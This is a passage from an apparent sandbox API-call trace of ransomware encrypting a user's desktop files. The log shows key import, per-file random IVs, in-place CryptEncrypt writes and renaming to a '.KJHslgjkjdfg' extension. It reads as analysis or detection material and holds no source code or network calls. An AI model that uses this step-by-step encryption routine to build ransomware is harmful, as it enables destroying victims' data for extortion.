ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x777d, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0x777d, lpOverlapped=0x0) returned 1 [0127.347] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x7780, dwBufLen=0x7780 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x7780) returned 1 [0127.347] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.348] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7780, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0x7780, lpOverlapped=0x0) returned 1 [0127.348] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.348] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x7864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.348] SetEndOfFile (hFile=0xb8) returned 1 [0127.350] GetProcessHeap () returned 0x2a0000 [0127.350] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.350] GetProcessHeap () returned 0x2a0000 [0127.350] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.350] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\vCFarXZGJnL5bOfTuR6.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\vcfarxzgjnl5boftur6.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\vCFarXZGJnL5bOfTuR6.png.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\vcfarxzgjnl5boftur6.png.kjhslgjkjdfg")) returned 1 [0127.351] CloseHandle (hObject=0xb8) returned 1 [0127.351] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa400e7c0, ftCreationTime.dwHighDateTime=0x1d5e2ad, ftLastAccessTime.dwLowDateTime=0xdf607520, ftLastAccessTime.dwHighDateTime=0x1d5e2bb, ftLastWriteTime.dwLowDateTime=0xdf607520, ftLastWriteTime.dwHighDateTime=0x1d5e2bb, nFileSizeHigh=0x0, nFileSizeLow=0x8671, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="W BqTFz_TgZLgTMpfJ.wav", cAlternateFileName="WBQTFZ~1.WAV")) returned 1 [0127.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\W BqTFz_TgZLgTMpfJ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\w bqtfz_tgzlgtmpfj.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.351] GetProcessHeap () returned 0x2a0000 [0127.351] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.351] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.351] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.351] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0xf, lpOverlapped=0x0) returned 1 [0127.352] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.352] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.352] GetProcessHeap () returned 0x2a0000 [0127.352] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.352] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290f9f0*=0x50) returned 1 [0127.352] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.352] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fa08*=0x50, lpOverlapped=0x0) returned 1 [0127.352] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.353] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.353] WriteFile (in: hFile=0xb8, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.353] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.353] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.353] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.353] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.353] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.353] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8671, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0x8671, lpOverlapped=0x0) returned 1 [0127.353] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x8680, dwBufLen=0x8680 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x8680) returned 1 [0127.354] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.354] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8680, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0x8680, lpOverlapped=0x0) returned 1 [0127.354] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.354] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x8764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.354] SetEndOfFile (hFile=0xb8) returned 1 [0127.357] GetProcessHeap () returned 0x2a0000 [0127.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.357] GetProcessHeap () returned 0x2a0000 [0127.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.357] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\W BqTFz_TgZLgTMpfJ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\w bqtfz_tgzlgtmpfj.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\W BqTFz_TgZLgTMpfJ.wav.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\w bqtfz_tgzlgtmpfj.wav.kjhslgjkjdfg")) returned 1 [0127.359] CloseHandle (hObject=0xb8) returned 1 [0127.359] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf61de3d0, ftCreationTime.dwHighDateTime=0x1d5e18d, ftLastAccessTime.dwLowDateTime=0x2b968c0, ftLastAccessTime.dwHighDateTime=0x1d5e289, ftLastWriteTime.dwLowDateTime=0x2b968c0, ftLastWriteTime.dwHighDateTime=0x1d5e289, nFileSizeHigh=0x0, nFileSizeLow=0x1526c, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="wKgFcGsJGp.mp3", cAlternateFileName="WKGFCG~1.MP3")) returned 1 [0127.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\wKgFcGsJGp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\wkgfcgsjgp.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.359] GetProcessHeap () returned 0x2a0000 [0127.359] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.359] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.359] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.359] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.360] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.360] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.360] GetProcessHeap () returned 0x2a0000 [0127.360] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.360] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40) returned 1 [0127.360] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.360] WriteFile (in: hFile=0xb8, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fa08*=0x40, lpOverlapped=0x0) returned 1 [0127.360] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.360] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.360] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.361] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.361] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.361] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.361] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.361] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.361] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1526c, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0x1526c, lpOverlapped=0x0) returned 1 [0127.362] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x15270, dwBufLen=0x15270 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x15270) returned 1 [0127.363] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.363] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15270, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0x15270, lpOverlapped=0x0) returned 1 [0127.363] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.363] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x15344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.363] SetEndOfFile (hFile=0xb8) returned 1 [0127.367] GetProcessHeap () returned 0x2a0000 [0127.367] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.367] GetProcessHeap () returned 0x2a0000 [0127.367] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.367] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\wKgFcGsJGp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\wkgfcgsjgp.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\wKgFcGsJGp.mp3.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\wkgfcgsjgp.mp3.kjhslgjkjdfg")) returned 1 [0127.371] CloseHandle (hObject=0xb8) returned 1 [0127.371] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31e0fa0, ftCreationTime.dwHighDateTime=0x1d5d851, ftLastAccessTime.dwLowDateTime=0x7087bf90, ftLastAccessTime.dwHighDateTime=0x1d5e014, ftLastWriteTime.dwLowDateTime=0x7087bf90, ftLastWriteTime.dwHighDateTime=0x1d5e014, nFileSizeHigh=0x0, nFileSizeLow=0x8922, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="WxQNUEXdD_.flv", cAlternateFileName="WXQNUE~1.FLV")) returned 1 [0127.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\WxQNUEXdD_.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\wxqnuexdd_.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.371] GetProcessHeap () returned 0x2a0000 [0127.371] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.371] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.371] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.371] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0xe, lpOverlapped=0x0) returned 1 [0127.373] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.373] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.373] GetProcessHeap () returned 0x2a0000 [0127.373] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.373] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40) returned 1 [0127.373] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.373] WriteFile (in: hFile=0xb8, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fa08*=0x40, lpOverlapped=0x0) returned 1 [0127.373] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.373] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.374] WriteFile (in: hFile=0xb8, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.374] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.374] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.374] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.374] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.374] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.374] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8922, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0x8922, lpOverlapped=0x0) returned 1 [0127.374] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x8930, dwBufLen=0x8930 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x8930) returned 1 [0127.375] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.375] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8930, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0x8930, lpOverlapped=0x0) returned 1 [0127.375] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.375] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x8a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.375] SetEndOfFile (hFile=0xb8) returned 1 [0127.377] GetProcessHeap () returned 0x2a0000 [0127.378] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.378] GetProcessHeap () returned 0x2a0000 [0127.378] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.378] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\WxQNUEXdD_.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\wxqnuexdd_.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\WxQNUEXdD_.flv.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\wxqnuexdd_.flv.kjhslgjkjdfg")) returned 1 [0127.380] CloseHandle (hObject=0xb8) returned 1 [0127.380] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d215910, ftCreationTime.dwHighDateTime=0x1d5e368, ftLastAccessTime.dwLowDateTime=0x2cf1e020, ftLastAccessTime.dwHighDateTime=0x1d5e3c1, ftLastWriteTime.dwLowDateTime=0x2cf1e020, ftLastWriteTime.dwHighDateTime=0x1d5e3c1, nFileSizeHigh=0x0, nFileSizeLow=0x5f7e, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="ZMaqfD_.bmp", cAlternateFileName="")) returned 1 [0127.380] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\ZMaqfD_.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\zmaqfd_.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.381] GetProcessHeap () returned 0x2a0000 [0127.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.381] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.381] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa28 | out: lpNewFilePointer=0x0) returned 1 [0127.381] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa38*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa38*, lpNumberOfBytesWritten=0x290fa08*=0x2, lpOverlapped=0x0) returned 1 [0127.382] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.382] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.382] GetProcessHeap () returned 0x2a0000 [0127.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.382] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290f9f0*=0x40) returned 1 [0127.382] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.382] WriteFile (in: hFile=0xb8, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fa08*=0x40, lpOverlapped=0x0) returned 1 [0127.382] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa10*, lpNumberOfBytesWritten=0x290fa08*=0x4, lpOverlapped=0x0) returned 1 [0127.382] WriteFile (in: hFile=0xb8, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fa08*=0x10, lpOverlapped=0x0) returned 1 [0127.382] WriteFile (in: hFile=0xb8, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fa08*=0x80, lpOverlapped=0x0) returned 1 [0127.382] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fa30 | out: lpNewFilePointer=0x0) returned 1 [0127.382] WriteFile (in: hFile=0xb8, lpBuffer=0x290fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x290fa20*, lpNumberOfBytesWritten=0x290fa08*=0x8, lpOverlapped=0x0) returned 1 [0127.382] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fa0c | out: phKey=0x290fa0c*=0x2c62e0) returned 1 [0127.382] CryptSetKeyParam (hKey=0x2c62e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.382] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.382] ReadFile (in: hFile=0xb8, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5f7e, lpNumberOfBytesRead=0x290fa14, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fa14*=0x5f7e, lpOverlapped=0x0) returned 1 [0127.383] CryptEncrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, 